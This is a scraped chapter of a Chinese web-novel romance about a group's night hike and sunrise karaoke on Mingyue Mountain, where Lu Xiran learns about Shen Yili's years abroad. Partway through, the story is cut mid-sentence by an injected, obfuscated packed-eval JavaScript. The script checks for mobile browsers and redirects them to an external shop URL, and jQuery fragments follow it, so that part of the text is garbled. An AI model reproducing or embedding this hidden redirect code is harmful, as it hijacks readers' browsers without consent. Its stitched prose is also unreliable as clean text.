123读书网 > 都市小说 > 我那哑巴似的初恋 > 16.参与
    明岳山是近几年才开发出来的新景点,可能因为卡在正周五的点,夜爬的人不算很多。


    出发前,大家在跟沈默行打听过后,都没背过多东西,至于棉服一类的御寒衣物,都准备统一到山顶去租。


    爬山的路线长,他们十点半出发,一路上走走停停。谌一礼说是跟不跟得上要看路熙然自己,可实际上那人的体力最好,但他也不走远,只跟在谌一礼身边,偶尔跟他说说话,陪着他一起休息。


    谭英步调也算平稳,不远不近跟在谌一礼他们身后,至于许毅和程安安则远远坠在了最尾。


    爬山中途路过几个商业化的摊位售卖点,路熙然脚步稍停,买了五个登山杖,分了一个给谌一礼,准备他们一人一个。只可以许毅和程安安很慢,还没爬上来。


    至于为什么没在民宿买沈默行准备好的登山杖,其中缘由大概只有谌一礼明白。


    “许毅体力不好,估计还要一阵。”谭英说,他话到这儿,见谌一礼去了卫生间,想到方才许毅拉着自己的八卦又道,“刚才那民宿是程安安提前订的,那老板她不认识,谌一礼应该也不知情。”


    他观察着路熙然的表情,又补了一句,“你别误会。”


    路熙然闻言,笑起来,“不会,民宿环境挺好的。”


    谭英见他这么说,也不多开口,只又解释了一句,“主要是,也难得看谌一礼带朋友来,我们几个都挺高兴的。”


    路熙然不解地看向他。


    只听谭英又说:“谌一礼几乎没什么感情史,这么些年一直独来独往,怪可惜的。”


    “他不是谈过一段吗?”路熙然挑了下眉问他。


    “那我可不知道,我前不久的飞机刚回,别想套我话。”谭英失笑,他看着不远处从卫生间里出来的谌一礼,站起身,“反正,这次能交你这个朋友,我觉得挺好,许毅跟程安安应该也跟我是一个想法。”


    对此,路熙然没再接话,他陪着谭英站了起来,看向朝自己走来的谌一礼,问他要不要喝水。谌一礼摇了摇头,拿手机给程安安打了通电话,问他们还有多久,又问许毅现在身体如何。


    程安安爬得气喘吁吁,不知道在哪个台阶上坐着休息。


    “许毅还活着呢,”程安安笑着说,“他自己非要吃爬山的苦,还偏要拉我们受罪,真受不了了。”


    “要不你们先走吧,我跟许毅可能还要一阵。反正目的地也是定好的,走不偏,我们慢慢追。”


    谌一礼闻言,不多强求,又简单交代了几句让许毅多注意身体后,挂了电话。


    “那我留下来等他们,”谭英站在一边主动说,顺带晃了晃方才路熙然买的登山杖,“这个总要给他们,你们先走。”


    都不是小孩,也没必要说非要手牵手一起登顶。都是熟人,谌一礼便没跟他们客气,带着路熙然先离开。


    越往上,气温越低。谌一礼体力实在跟不上,后半程如果没有登山杖撑着,整个人都要倒了。


    “冷不冷?”路熙然站在一边问他,从自己的口袋里拿出刚开始发热的暖宝宝,塞到谌一礼手里,“再往上应该有租棉服的位置,要不我先去?”


    谌一礼喘着气,喝了口水,“不用,现在只觉得热和累,等我缓缓。”


    他话是这么说,但并没有拒绝路熙然塞到他手里的东西。谌一礼喘了口气,靠边,坐在爬山的石阶上休息。


    他们选的目的地不是热门观赏日出的地方,从爬山路线的中段开始就跟大部分人群渐渐分散。


    夜晚的明岳山,黑暗孤寂地笼罩山峦,远处的树林都静谧着,只能听见偶尔的几声鸟鸣,仿佛天地间安静得只剩这一个角。


    “刚才谭英跟你说了什么?”谌一礼突然问路熙然,“说我坏话了?”


    “没有,”路熙然迟疑了一瞬,坦白,“他说他们很高兴认识我。”


    “认识你有什么好高兴的。”谌一礼没弄懂。


    “谌一礼,你高中时候认识我不高兴啊?”路熙然反应很快地回了一句。


    他是笑着的,那模样里带着点坦然和肆意。


    谌一礼看着这样的路熙然没说话,只是微微眯了眯眼睛。手心里的那快暖宝宝已经开始发热了,夜晚的冷风吹散了谌一礼额前的碎发,凉意顺着风袭来,连带着谌一礼的心跳都快了几分。


    “走吧。”谌一礼避开了对路熙然问题的回答,撑着登山杖站了起来。沿途路灯的光亮将他的影子拉扯得很长,而路熙然的影子则静静地坠在他身侧。


    没有人要回答高不高兴的问题,也没有人再提问,话赶着话。


    可到了临近山顶,租棉服的位置时,谌一礼坐在供游客休息的长椅上,看着路熙然去租棉服的身影,感受着口袋里暖宝宝的温度。在路熙然回来,给他披上棉服的时候,还是开口告诉了他。


    谌一礼说:“路熙然,我高中跟你做同桌的时候,认识你,好像是挺高兴的。”


    -


    程安安和许毅爬上来时,太阳还没出来,时间逼近凌晨五点。


    他们从晚上十点半开始夜爬,爬了将近七个小时。虽然中途有休息,但每个人还是气喘吁吁。路熙然身体素质好,调节得很快,谌一礼也强一点,毕竟提前上来,缓过一阵。


    唯一难受还有点喘的是许毅,他身上裹着路熙然方才租好的棉服,身上热得要命,但怕着凉不敢脱,整个人像头要瘫倒的牛一样。


    许毅:“累死了,妈的,早知道爬山这么累,说什么都不来。”


    “所以我就说你是非要给自己找罪受,歇着吧。”谭英不想吐槽他,给一边陪着许毅的程安安递了瓶水,“安安辛苦了,带他这个拖油瓶。”


    “没事,我爬得也慢。”程安安笑着回。


    这边的山峰不是热门看日出的地儿,来的人不多,算上谌一礼他们这群人,只有一组中年人和几个大学生。


    在不远处开杂货店的老板正打着瞌睡,他门口的烤肠味道倒是飘得很远。


    “想吃吗?”路熙然见谌一礼朝那边看了很久问他,末了没等谌一礼回答便一连买了五个。


    他回来时,递给谌一礼一根脆骨肠,“你的,记得你喜欢。”


    谌一礼笑起来,没跟他客气,又招呼着其他人来拿剩下的肉肠。


    这边山顶的位置不算大,被风地儿也小,他们几个凑在一起吃烤肠,让另外两群人也没忍住。


    大学生去买回来时,一边吃一边吐槽山顶物价。中年人们则财务自由得多,多买了几罐啤酒,坐下来喝。


    三组人坐的都不分散,彼此聊天都能听见,能来夜爬的人也大多热络。不知道是哪个大学生不嫌累,包里背了个小蓝牙音响和手麦过来,叫嚷着问有没有人要唱歌。


    许毅喜欢热闹,自然搭腔。他休息一阵后已经缓了过来,自诩麦霸,凑过去唱歌。


    但到底是大学生会玩,全名K歌打开,三波人唱歌唱完看分数,叫嚷着要选个冠军出来。


    “有奖品吗?”一位中年叔叔笑着问他们。


    “送你一场日出够了吧,哈哈哈哈哈。”背着音响的那个大学生回答。


    不过甭管有没有礼物,歌还是唱起来了。他们一共才十五个人不到,硬生生像是把山□□成了演唱会。


    谌一礼知道许毅就是个人来疯,凑在程安安身边提醒他,“你多看着点,这边海拔高,他要是不舒服就让他别闹了。”


    程安安应下,但她只坐在原地看着许毅的样子笑,“他开心的话,还是让他玩吧。”


    只可惜,许毅一首歌刚唱到一半就自知高音部分自己唱不了,哼哼了几句后就下来。然后推耸着让谌一礼去。


    谌一礼扔给他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227453|197039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个白眼,转身还是去了。


    他点了一首舒缓的粤语歌,音调很低,歌声很缓。他的声音飘在山顶的的风里,回荡着绕了个圈后,又闯入人的耳朵。


    路熙然坐在下面听,他借着月色和路灯的光亮,望见了谌一礼看向自己的那双眼睛。


    他们的目光在相互对视后又错开,像是蜻蜓落在水面的一个吻。


    谭英坐在路熙然身边,手边放在他们这群人方才一起去那家杂货店搭伙买的酒水和瓜子,他开了一罐啤酒递给路熙然。


    许是因为路熙然的目光太真挚,谭英开口问他:“谌一礼好看吧?”


    路熙然颔首,回答:“好看。”


    谭英跟他碰了个杯,他告诉路熙然,大学时候的谌一礼也好看,说他在国外读研时,还被外媒拦下来采访,哪怕回答得一塌糊涂,但评论都在夸他长得帅,还夸亚洲人就是显小。


    “那视频你要看吗?采访人的油管账号还在。”谭英说着,掏出手机翻了翻,递给路熙然。


    视频里的谌一礼似乎赶着去上课,外媒记者拦住他那人的一双眉头微微皱着,表情确实说不上好。


    “你们亚洲人的数学是不是都很好?”记者问。


    “天赋人权。”谌一礼答得很快,语气敷衍,侧身就想走。


    记者闻言,蹙着一双眉头,收音麦又往前递了递,把人拦住,“那请问亚洲普遍重男轻女的意识观点,是否阻碍了社会进步?”


    “谁主张谁举证。”谌一礼瞥了镜头一眼,嘴角往下撇了撇。


    记者还不死心,最后一个问题追上来:“你是否认为亚洲现在的崛起是在学习西方的政治经济模式?”


    谌一礼这回连表情都懒得做了,他抬手挡了挡镜头,一边往外走一边说:“我不知道,别问我,我只是个泡菜国大学生。”


    视频在这里戛然而止。


    “我记得他那天,前不久被人偷了钱包,还被他邻居因为种族歧视投诉,”谭英说,“回答的时候就很不耐烦一张臭脸。不过后来那天小组汇报他做得很好,得了他们教授一个A+的评分。”


    路熙然听着谭英的话,没接茬。


    这条视频,路熙然其实看过,看过很多次,是徐凯锐发给他的。他几乎知道里面谌一礼的每一个眼神、每一个动作、每一个回答。


    几年前,路熙然第一次看到这条视频时,不知道那天谌一礼经历了什么。他只是透过镜头,看着那个人在镜头前敷衍、躲闪、最后索性摆烂。


    他不知道谌一礼的钱包被偷了,不知道他被邻居投诉,不知道他那天过得有多糟。


    他只知道,视频看到最后,他笑了。


    因为谌一礼那一脸不耐烦的样子和高中时很像。


    可如今,谭英的话在他耳边说着。他像是隔着时光的河,触碰到了那年在国外上大学的人。


    他知道他当时被采访的烦躁从何而来,知道他那天晚上的心情应该很好,知道他没过多久就接到了警方电话,说找到了被扒手扔到垃圾桶的钱包。


    他知道了谌一礼在国外那些年,其中一天的快乐和急躁。


    路熙然从没参与过谌一礼的大学生活,那个时光的谌一礼,好像一直离他很远,远到他不知道他的任何状态,远到在很长一段时间,那人在他的记忆里只是一段灰色的剪影。


    他被这段剪影遗忘过,怨恨过,直到如今,这人站在他面前,唱着歌,冲着他笑。


    “谢了。”路熙然轻呼一口气,他看着谭英,眉眼微弯,“谢谢你跟我说这些。”


    谭英摇摇头,刚想再说什么就见许毅凑了过来。许毅没喝酒,手上拿着一听雪碧,他笑嘻嘻地问他们,“我们一礼唱歌好听吧?”


    “好听,”路熙然笑着回答他,他侧过头看着眼前鲜活的人,补了一句,“他唱歌最好听了。”